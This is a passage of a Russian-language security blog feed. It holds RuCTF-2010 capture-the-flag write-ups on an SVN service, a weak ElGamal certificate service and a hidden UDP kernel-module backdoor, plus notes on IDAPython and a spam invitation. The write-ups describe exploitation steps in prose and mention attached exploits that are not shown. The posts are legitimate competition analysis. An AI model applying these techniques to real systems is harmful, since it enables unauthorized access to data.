]]> RuCTF-2010: SVN tag:smokedchicken.org,2010://1.29 2010-04-27T19:07:36Z 2010-04-28T15:08:44Z Рассмотрим еще один сервис, по которому никто не добыл ни одного флага. Это сервис svn. Невероятно, но на его анализ и поиск основной уязвимости у меня ушло ДЕСЯТЬ минут, и еще десять на написание эксплойта, который получает флаги с сервиса.... Антон Сапожников http://snowytoxa.blogspot.com/ svn. Невероятно, но на его анализ и поиск основной уязвимости у меня ушло ДЕСЯТЬ минут, и еще десять на написание эксплойта, который получает флаги с сервиса. В хаскеле я так и не разобрался, поэтому вероятно есть и другие уязвимости. Вероятно все посмотрели, что сервис написан на хаскеле и забили, так сделали и мы, а зря.

Все очень просто, сервис хранит флаги в файлах каталога /home/svn/repo/. Сервис поддерживает следующие команды:
l - получение списка файлов
+<filename> <char> - добавить в файл "+<char>"
-<filename> <char>  - добавить в файл "-<char>"
*<filename> <pos> <char>  - добавить в файл "*<pos> <char>"
<filename> <rev> - получить определенную ревизию файла
<filename> - получить последнюю ревизию файла

Эксплойт состоит в том, что бы сначала послать "l\n", а потом посылать имена файлов полученные на пред. этапе для получения флагов.

Итого:
  • хаскел я так и не знаю
  • команды испугалась незнакомого языка и упустили прекрасную возможность получить флаги.
  • exploit svn.py
]]> RuCTF-2010: CA tag:smokedchicken.org,2010://1.28 2010-04-27T17:18:42Z 2010-04-27T18:04:06Z В продолжение темы RuCTF2010, хочу рассмотреть еще один уязвимый сервис - CertificateAuthority. Во время игры, флаги с этого сервиса удалось получить только команде SiBears. Сервис CA (certificateauthority.tgz) написан на Java, но это не принципиально. Функционально он представляет собой сервис для... Антон Сапожников http://snowytoxa.blogspot.com/ В продолжение темы RuCTF2010, хочу рассмотреть еще один уязвимый сервис - CertificateAuthority. Во время игры, флаги с этого сервиса удалось получить только команде SiBears. Сервис CA (certificateauthority.tgz) написан на Java, но это не принципиально. Функционально он представляет собой сервис для выдачи сертификатов и хранения любых сообщений пользователей. Игровые чекеры получали сертификат и оставляли зашифрованное сообщение (флаг).

Предоставленный исходный код содержал функционал не только генерирования сертификата, но и шифрования сообщения, своеобразная подсказка от разработчиков позволила понять в каком формате чекер оставляет сообщения. Почти с первых минут анализа кода стало ясно, что нужно искать уязвимость в криптостойкости применяемого алгоритма. Активный гуглинг на тему дискретного логарифмирования показал, что мы имеем дело со схемой ElGamal. А одним из эффективных алгоритмов дискретного логарифмирования (схема строится на его сложности) является алгоритм Полига-Хеллмана.

Еще гугла, еще кодинга и мы получили PoC (ca.py), но к сожалению игра уже несколько секунд как закончилась, успели только отправить адвайзори без эксплойта. Жаль, что мы взялись за этот сервис так поздно.

Патчинг состоит в использовании достаточно большого простого числа P, на котором генерируется сертификат.

]]> RuCTF-2010: GPLv4 tag:smokedchicken.org,2010://1.27 2010-04-27T10:45:35Z 2010-04-27T18:34:35Z На прошедшем 25 апреля контесте было замечено странное поведение vulnbox'a - глючил tcpdump, а также иногда на консоль валилось что-то типа BUG: scheduling while atomic: swapper/0/0x10000100 В списке сервисов было нечто под именем GPLv4, которое, к сожалению, мы обнаружили только... Павел Збицкий http://smokedchicken.org На прошедшем 25 апреля контесте было замечено странное поведение vulnbox'a - глючил tcpdump, а также иногда на консоль валилось что-то типа
BUG: scheduling while atomic: swapper/0/0x10000100

В списке сервисов было нечто под именем GPLv4, которое, к сожалению, мы обнаружили только на следующий день после окончания соревнований: Антон заметил в логе трафика подозрительную UDP-активность - пакеты на произвольные порты, и, что самое забавное, ответы на них от vulnbox.

Как оказалось, это был модуль ядра m.ko, реализующий сетевой фильтр для UDP-трафика. Дизассемблер подсказал, что он принимает команды G (get), P (put), L (list) и хранит флаги в /proc/flags/. UDP-сообщения шифруются инструкцией XOR с ключом 'THINKPAD' первые 8 байт сообщения, следующие 8 байт - XOR с предыдущими 8 байтами этого же сообщения.

Чтобы получить список файлов с флагами, достаточно послать зашифрованную команду 'L', а затем сделать Gfile_name элементам полученного списка файлов.

Также в основной функции-фильтре есть утечка памяти под размер данных UDP-пакета. Вероятно, возможен DOS.

POC прилагается.

]]> IDAPython & IDA Free 4.9 tag:smokedchicken.org,2010://1.26 2010-04-07T18:33:14Z 2010-04-08T08:56:00Z В IDA Free 4.9 иногда не хватает поддержки питонового скриптинга. Здесь можно найти патч для SDK от 4.9 - перемапливание имен / ординалов в ida.lib в соответствии с ida.wll из IDA Free. Также можно скачать IDAPython 0.8 для IDA 4.9... Павел Збицкий http://smokedchicken.org В IDA Free 4.9 иногда не хватает поддержки питонового скриптинга. Здесь можно найти патч для SDK от 4.9 - перемапливание имен / ординалов в ida.lib в соответствии с ida.wll из IDA Free. Также можно скачать IDAPython 0.8 для IDA 4.9 и пересобрать. Но варезный SDK 4.9 портит всю малину IDA Free.
Решение - взять python.plw 0.8 и зафиксить в нем импорт. Конечно, IDAPython 0.8 совсем не 1.2, но все же.
Скрипт, конечно же, питоновый, приложен: python49.7z.

]]> WCVI-2010 tag:smokedchicken.org,2010://1.25 2010-03-17T05:57:18Z 2010-03-17T06:05:34Z Сегодня пришло приглашение на World Congress of Virus and Infections-2010 Сначала подумал, что корейцы / китайцы захватывают мир и проводят международные конференции по компьютерной вирусологии. Но программа конференции как бы намекает на медицину / биологию / химию. Интересно, какое отношение... Павел Збицкий http://smokedchicken.org Сегодня пришло приглашение на World Congress of Virus and Infections-2010

Сначала подумал, что корейцы / китайцы захватывают мир и проводят международные конференции по компьютерной вирусологии. Но программа конференции как бы намекает на медицину / биологию / химию. Интересно, какое отношение они имеют ко мне, а я - к ним...

]]>